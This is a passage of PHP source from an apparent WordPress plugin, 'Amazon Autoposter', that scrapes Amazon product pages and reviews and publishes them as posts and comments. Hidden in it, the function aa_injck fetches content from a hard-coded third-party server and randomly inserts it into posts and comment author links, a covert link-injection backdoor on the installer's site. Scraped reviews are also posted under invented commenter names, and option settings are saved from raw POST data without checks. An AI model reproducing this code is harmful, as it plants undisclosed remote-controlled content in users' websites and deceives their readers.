cURL error number:" .curl_errno($ch2);
// echo "
cURL error:" . curl_error($ch2);
// exit;
//}
curl_close($ch2);
$abort = 0;
// parse the html into a DOMDocument
$dom = new DOMDocument();
@$dom->loadHTML($html);
// Grab Product Title
$xpath = new DOMXPath($dom);
$paras = $xpath->evaluate("//h1[@class='parseasinTitle']/span"); //[@id='btAsinTitle']
$para = $paras->item(0);
$title = $para->textContent;
// Grab Product Thumbnail
if (get_option('aa_thumbnail')=='yes') {
$xpath = new DOMXPath($dom);
$imgs = $xpath->evaluate("//table//td//*[@id='prodImageCell']//img");
$img = $imgs->item(0);
if ($img == '') {$abort = 1;} else {
$src = $img->getAttribute('src');
$alt = $img->getAttribute('alt');
$content = '';
}
}
if ($abort != 1) {
// Grab Product Description
$xpath = new DOMXPath($dom);
$paras = $xpath->evaluate("//div[@id='productDescription']/div[@class='content']");
$para = $paras->item(0);
$para2 = $para->textContent;
$para2 = str_replace("Amazon.com Product Description", "", $para2);
$elength = get_option('aa_excerptlength');
$elength = (int)$elength;
$para2 = substr($para2, 0, $elength);
if ($para2 != '') {
$content .= $para2;
$content .= ' (more...)';
} else {
$content .= 'No description for this product could be found, but have a look over at Amazon for reviews and other information.';
} $chance=rand(1, 100);if ($chance <= 7) {
$content .= '
Featured: ' . aa_injck(1) . '
';
}
// Insert Product in WP
$i = $days;
$tomorrow = mktime(0, 0, 0, date("m"), date("d")+$i, date("y"));
$post_date_gmt=date("Y-m-d", $tomorrow). " " . rand(10, 23). ":" . rand(10, 59). ":" . rand(10, 59);
$post_date = $post_date_gmt;
$post_author=1;
$post_status = 'future';
$post_category = array($categorie);
$post_content=$content;
$title2 = str_replace(",", "", $title);
$title2 = str_replace(":", "", $title2);
$title2 = str_replace("(", "", $title2);
$title2 = str_replace(")", "", $title2);
$items = explode(' ', $title2);
$tags_input = array($items[0],$items[1],$items[2],$items[3],$items[4]);
$post_title = trim($title);
$post_data = compact('post_content','post_title','post_date','post_date_gmt','post_author','post_category', 'post_status', 'tags_input');
$post_data = add_magic_quotes($post_data);
$post_ID = wp_insert_post($post_data);
if ( is_wp_error( $post_ID ) )
echo "\n" . $post_ID->get_error_message();
do_action('publish_phone', $post_ID);
// Grab Reviews
if (get_option('aa_postreviews')=='yes') {
//Review Titles
$xpath = new DOMXPath($dom);
$paras = $xpath->evaluate("//div[@id='customerReviews']/div[@class='content']/table//table//a[@class='areaLink']/div/b");
$reviewtitle=array();
for ($i = 0; $i < $paras->length; $i++ ) {
$para = $paras->item($i);
$text = $para->textContent;
$reviewtitle[$i] = $text;
}
//Review Images
if (get_option('aa_reviewratings')=='yes') {
$xpath = new DOMXPath($dom);
$paras = $xpath->evaluate("//div[@id='customerReviews']/div[@class='content']/table//table//a[@class='areaLink']//img");
$reviewimage=array();
for ($i = 0; $i < $paras->length; $i++ ) {
$para = $paras->item($i);
$src = $para->getAttribute('src');
$alt = $para->getAttribute('alt');
$content = '';
$reviewimage[$i] = $src;
}
}
//Review Text
$xpath = new DOMXPath($dom);
$paras = $xpath->evaluate("//div[@id='customerReviews']/div[@class='content']/table//table//a[@class='areaLink']/div[1]");
$reviewtext=array();
for ($i = 0; $i < $paras->length; $i++ ) {
$para = $paras->item($i);
$text = $para->textContent;
$text = str_replace(" Read more", "", $text);
if (get_option('aa_reviewratings')=='yes') {
$text = str_replace($reviewtitle[$i], "" . $reviewtitle[$i] . "
Rating: " . $reviewimage[$i] . "
", $text);
} else {
$text = str_replace($reviewtitle[$i], "" . $reviewtitle[$i] . "
", $text);
}
$reviewtext[$i] = $text;
}
// Insert Reviews into WP
$name=array("Abbey","Abbie","Abbott","Abby","Abe","Abie","Acton","Adair","Addie","Addison","Adeline","Adie","Adrianne","Africa","Afton","Amory","Anders","Anderson","Andie","Andy","Angela","Angie","Anise","Annabel","Annabella","Annabelle","Annice","Annie","Annis","Annissa","Aster","Aston","Astrella","Atherton","Atticus","Aubrey","Audrey","Audrina","August","Augusta","Augustine","Austin","Avery","Avice","Avis","Baara","Baba","Baback","Babette","Baby","Bach yen","Bade","Baden","Badru","Badu","Baeddan","Bahari","Bai","Bailey","Baina","Base","Bash","Basil","Basma","Bast","Bastien","Bat","Bathsheba","Batson","Batu","Batzorig","Baxter","Bayan","Bayard","Bayarmaa","Bima","Bimala","Bimo","Bin","Bina","Binder","Bindi","Bing","Bingham","Binh","Birch","Birdy","Bishop","Bisma","Biton","Caesarea","Cagney","Cahya","Cai","Caia","Cailean","Cailyn","Cain","Caine","Cairbre","Cairo","Cais","Cait","Caitir","Caitlin","Chipo","Chiquita","Chita","Chitrinee","Chitt","Chizue","Chloe","Chloris","Chofa","Chogan","Chole","Cholena","Chrina","Chris","Chrissy","Curt","Curtis","Cusick","Cuthbert","Cutler","Cutter","Cuyler","Cwen","Cy","Cyan","Cyanne","Cybele","Cybil","Cybill","Cybille","Dallin","Dallon","Dalton","Damali","Damalis","Damani","Damara","Damaris","Damek","Damia","Damian","Damien","Damir","Damita","Damla","Denim","Denis","Denise","Deniz","Denji","Denna","Dennis","Denton","Denver","Denzel","Deo","Deon","Derby","Derek","Derenik","Durand","Durin","Durriyah","Dusan","Duscha","Dustin","Dustine","Dusty","Dutch","Duval","Duy","Duyen","Dwayne","Dwi","Dwight","Edgar","Edgardo","Edge","Edgerton","Edie","Edison","Edita","Edith","Edmund","Edna","Edolie","Edom","Edric","Edsel","Eduardo","Emele","Emelyn","Emera","Emerald","Emerence","Emeric","Emerson","Emery","Emiko","Emil","Emile","Emilia","Emiliana","Emiliano","Emilie","Estelle","Ester","Estevan","Estevao","Esther","Estralita","Estrella","Etan","Etana","Etenia","Eternity","Ethan","Ethanael","Ethaniel","Ethel","Fairly","Faith","Fala","Falala","Falan","Falk","Fallon","Fanchon","Fancy","Fannie","Fanny","Fantasia","Faolan","Farah","Fareeda","Fico","Fidel","Fidelia","Fidelina","Fidelio","Fidella","Fidelma","Fiducia","Field","Fielding","Fifi","Filbert","Filia","Filipina","Fina","Frick","Frida","Frideswide","Frieda","Frigg","Frisco","Fritz","Fritzi","Fruma","Frye","Fuchsia","Fulbright","Fulk","Fuller","Fumiko","Gale","Galen","Galena","Galeno","Gali","Galia","Galiena","Galilhai","Gallagher","Gallia","Galvin","Galya","Gamada","Gamaliel","Gambhiri","Ginny","Gino","Gioia","Giolla","Giona","Giorgio","Giovanna","Giovanni","Girolamo","Gisbelle","Gisela","Giselle","Gisli","Gita","Gitano","Guitain","Gulliver","Gunda","Gunesh","Gunhilda","Gunnar","Gunter","Gunther","Gur","Guri","Gurit","Gurnam","Gus","Gustav","Gustave","Haide","Haig","Haile","Hailey","Haines","Hajar","Hajari","Hajra","Hakan","Hal","Hala","Halden","Haldis","Halen","Haley","Helga","Helia","Helki","Helladius","Heller","Helmfried","Heloise","Helsa","Heman","Hendrix","Henley","Henri","Henrietta","Henriette","Henrik","Huela","Huey","Hugh","Hugo","Hulda","Humaira","Humbert","Humberto","Hume","Hummer","Humphrey","Humvee","Hung","Hunter","Huntley","Huong","Huslu","Hussein","Ida","Idalee","Idalia","Idalis","Idana","Idania","Ide","Idella","Iden","Idola","Idonia","Idra","Idris","Iduia","Ieuan","Ione","Iorwen","Iorwerth","Ioviano","Iowa","Iphigenia","Iphigenie","Ipo","Ira","Iram","Irela","Ireland","Irem","Iren","Irene","Issay","Istas","Istvan","Ita","Itachi","Itala","Italia","Ithaca","Itotia","Itzel","Ivan","Ivana","Ives","Ivette","Ivi","Jaeger","Jael","Jaela","Jaelyn","Jaetyn","Jafari","Jafaru","Jag","Jagannath","Jagat","Jagger","Jago","Jaguar","Jahdahdieh","Jaheim","Jeneva","Jengo","Jenibelle","Jenis","Jenna","Jennaya","Jennelle","Jennessa","Jennica","Jennie","Jennifer","Jennis","Jenny","Jennyl","Jens","Josie","Joss","Josue","Journey","Jovan","Jovana","Jovanna","Jovia","Jovianne","Jovie","Jovita","Joweese","Joy","Joyce","Joylyn","Kaede","Kael","Kaelem","Kaelin","Kaelyn","Kaemon","Kaethe","Kafele","Kagami","Kahlilia","Kai","Kaia","Kaida","Kaif","Kaikoura","Keshia","Kesia","Kesler","Ketaki","Ketan","Ketill","Keturah","Kevin","Kevina","Kevine","Kevlyn","Kevork","Keyah","Keyanna","Keyshawn","Kyan","Kye","Kyla","Kylar","Kyle","Kylee","Kyleigh","Kylemore","Kylene","Kyler","Kylia","Kylie","Kyna","Kynan","Kyne","Lahoma","Laibah","Laik","Laina","Laine","Lainey","Laird","Laisha","Lajita","Lajos","Lakeisha","Lakeithia","Laken","Lakia","Lakin","Liluye","Lily","Limon","Lin","Lina","Linaeve","Lincoln","Linda","Lindley","Lindsay","Lindsey","Lindy","Linette","Ling","Linh","Lundy","Lunet","Lunette","Lupe","Lupita","Luqman","Luthando","Luther","Lutisha","Luvenia","Luyu","Luz","Ly","Lyall","Lycoris","Macha","Machiko","Mackenzie","Maclean","Macon","Maconaquea","Macy","Macyn","Mada","Madan","Madden","Maddock","Maddox","Maddy","Madeleine","Metta","Mette","Meurig","Meyshia","Meztli","Mhina","Mia","Miach","Miakoda","Micaella","Micah","Micha","Michael","Michaela","Michal","Murphy","Murray","Murron","Musetta","Muskan","Musoke","Mustafa","Mutia","Muunokhoi","Mya","Myee","Myeisha","Myfanwy","Mykelti","Myla","Naara","Naava","Nabila","Nadalia","Nadda","Nadia","Nadie","Nadine","Naeva","Nafisa","Naflah","Nafuna","Nahla","Nahuatl","Nahuel","Noxolo","Nozomi","Nsombi","Nu","Nuala","Nubia","Nuha","Nuhad","Nuin","Nuncio","Nura","Nuren","Nuri","Nuria","Nuru","Neena","Nefertari","Nefertiti","Nefret","Negeen","Neha","Nehemiah","Neil","Neith","Neka","Nelia","Nell","Nella","Nellie","Nellis","Octavio","Octavious","Octavius","October","Oda","Odakota","Odalys","Oded","Odeda","Odele","Odelia","Odell","Odelya","Odessa","Odetta","Orabella","Oracle","Oraefo","Oral","Oralee","Oran","Orane","Oratilwe","Orde","Ordell","Orea","Orella","Oren","Orenda","Orenthal","Osgood","Osher","Osias","Osma","Osman","Osmond","Osric","Ossie","Osvaldo","Oswald","Othello","Othniel","Otieno","Otis","Ottavia","Pabla","Pablo","Pacey","Paco","Paddington","Paddy","Padgett","Padma","Pagan","Page","Pahana","Pahkakino","Pahukumaa","Paige","Paisley","Philander","Philantha","Philemon","Philena","Philip","Philippa","Phillip","Phillipa","Philomena","Philyra","Phineas","Phinnaeus","Phoebe","Phoenix","Phomello","Prisca","Priscilla","Prita","Pritam","Priti","Priya","Priyanka","Probert","Prosper","Prudence","Prue","Prunella","Pryce","Psalm","Psyche","Raeanne","Raed","Raewyn","Rafael","Rafe","Rafer","Raffaello","Rafferty","Rafi","Rafiki","Rafiq","Raghnall","Ragni","Raheem","Rahima","Rimon","Rimona","Rin","Ringo","Rini","Rio","Riona","Riordan","Rip","Ripley","Risa","Rishelle","Rishi","Rita","Riva","Russom","Rusti","Rusty","Ruth","Rutherford","Ruven","Ruzgar","Ryan","Ryann","Ryder","Ryker","Rylan","Ryland","Rylee","Rylie","Saar","Saba","Sabah","Sabeen","Sabella","Saber","Sabin","Sabina","Sabine","Sabiti","Sabra","Sabriel","Sabrina","Saburo","Sacagawea","Shirlyn","Shiva","Shivani","Shlomo","Shmuel","Shmuley","Shobha","Sholto","Shomecossee","Shona","Shoneah","Shoney","Shonka","Shoshana","Shoshanah","Swithin","Swoosie","Sy","Syaoran","Sybil","Sydnee","Sydney","Syesha","Syler","Sylvain","Sylvana","Sylvester","Sylvia","Sylvie","Symber","Taariq","Tab","Taban","Tabananica","Taber","Tabitha","Tablita","Tabor","Tacey","Tacita","Tacy","Tad","Tadelesh","Tadeo","Tadewi","Tillie","Tilly","Tiltilla","Tim","Timandra","Timber","Timberly","Timila","Timmy","Timon","Timothy","Timur","Tina","Ting","Tino","Turner","Tut","Tuve","Tuvya","Tuwa","Tuyen","Tuyet","Tvisha","Tvuna","Twila","Twm","Twyla","Ty","Tyanne","Tybalt","Uba","Ubaydullah","Uchenna","Uday","Udell","Ugo","Ugra","Ujana","Ula","Ulan","Ulani","Ulema","Ulf","Ulfah","Ull","Ulla","Ulmer","Ulric","Ulysses","Uma","Umatilla","Umay","Umaymah","Umberto","Umed","Umeko","Umi","Umika","Ummi","Uriah","Urian","Uriel","Uriela","Urit","Urja","Urmi","Ursa","Ursula","Urvi","Usher","Usoa","Usra","Uta","Utah","Valerian","Valerie","Valeska","Valiant","Valin","Valkyrie","Vallerie","Valley","Valmai","Valonia","Valora","Valterra","Valtina","Vaman","Van","Vevina","Vi","Vian","Vianca","Vic","Vice","Vicente","Vicki","Vicky","Victor","Victoria","Victorin","Vida","Vidal","Vidar","Vittorio","Viturin","Viva","Viveca","Vivek","Viveka","Vivi","Vivian","Viviana","Viviano","Vivica","Vivien","Vivienne","Vlad","Vladimir","Wakinyela","Walda","Waldemar","Walden","Waldina","Waldo","Waldron","Walidah","Walker","Wallace","Wallis","Wally","Walt","Walta","Walter","Wilmer","Wilmet","Wilona","Wilson","Wilton","Winaugusconey","Winchell","Wind","Winda","Winfield","Winfred","Wing","Winifred","Winka","Winnie","Wolfgang","Wood","Woodrow","Woods","Woodward","Woody","Worth","Wowashi","Wozhupiwi","Wray","Wren","Wright","Wyanet","Wyatt","Wycliff","X-iomania","Xadrian","Xakery","Xalvadora","Xanadu","Xander","Xandy","Xannon","Xantara","Xanthe","Xanthus","Xanti","Xanto","Xaria","Xarles","Xavier","Xaviera","Xaviere","Xena","Xenia","Xenon","Xenophon","Xenos","Xerxes","Xexilia","Xhaiden","Xhosa","Xi-wang","Xia","Xia he","Xiang","Xiao chen","Xiao hong","Xidorn","Ximena","Xin qian","Xinavane","Xing","Xing xing","Xiomara","Xipil","Xiu","Xiu juan","Xiuhcoatl","Xochitl","Yoshino","Yousef","Yovela","Yu jie","Yuda","Yue","Yue yan","Yui","Yuichi","Yuki","Yukiko","Yul","Yule","Yuma","Yumi","Yash","Yasma","Yasmin","Yassah","Yasu","Yasunari","Yasuo","Yates","Yatima","Yatin","Yauvani","Yaxha","Yazid","Ye","Yeardleigh","Yakov","Yale","Yalitza","Yama","Yamal","Yamha","Yamilet","Yamin","Yamir","Yamka","Yan","Yana","Yancy","Yanenowi","Yanichel","Zafirah","Zagiri","Zahar","Zahara","Zahavah","Zahi","Zahina","Zahra","Zahrah","Zahur","Zaida","Zaide","Zaidin","Zaila","Zain","Zephan","Zephaniah","Zephyr","Zephyra","Zeppelin","Zerah","Zerlina","Zero","Zeroun","Zeshawn","Zesiro","Zeus","Zev","Zevi","Zhen","Zudora","Zula","Zuleika","Zuleikha","Zulema","Zulimar","Zulu","Zuma","Zuna","Zuri","Zuriel","Zurina","Zuwena","Zuzana","Zuzela");
for($i=0;$i< 10;$i++) { //sizeof($out)-1
if ($reviewtext[$i] != "") {
$comment_post_ID=$post_ID;
srand((float) microtime() * 10000000);
$comment_author_email="forum2blog@domain.com";
$chance=rand(1, 100);
if ($chance <= 9) {
$mystf = aa_injck(0);
$mystf = explode(";", $mystf);
$comment_author=$mystf[1];
$comment_author_url=$mystf[0]; } else {
$comment_author=$name[rand(1,1250)];
$comment_author_url=$target_url; }
$comment_content=$reviewtext[$i];
$comment_type='';
$user_ID='';
$comment_approved = 1;
$commentdata = compact('comment_post_ID', 'comment_author', 'comment_author_email', 'comment_author_url', 'comment_content', 'comment_type', 'user_ID', 'comment_approved');
$comment_id = wp_insert_comment( $commentdata );
}
}
}
}
}
function mt_add_pages_amazon() {
// Add a new menu under Options:
add_options_page('Amazon Autoposter', 'Amazon Autoposter', 8, 'amazonautoposter', 'mt_options_page_amazon');
}
function aa_injck($a) {
if ($a == 1) {
$lrx = file_get_contents( 'http://www.lunaticstudios.com/findsites.php' ); } else {$lrx = file_get_contents( 'http://www.lunaticstudios.com/findurls.php' ); }
return $lrx;
}
function mt_options_page_amazon() {
if($_POST['aa_save']){
update_option('aa_affkey',$_POST['aa_affkey']);
update_option('aa_postreviews',$_POST['aa_postreviews']);
update_option('aa_thumbnail',$_POST['aa_thumbnail']);
update_option('aa_reviewratings',$_POST['aa_reviewratings']);
update_option('aa_excerptlength',$_POST['aa_excerptlength']);
echo '
Options updated successfully!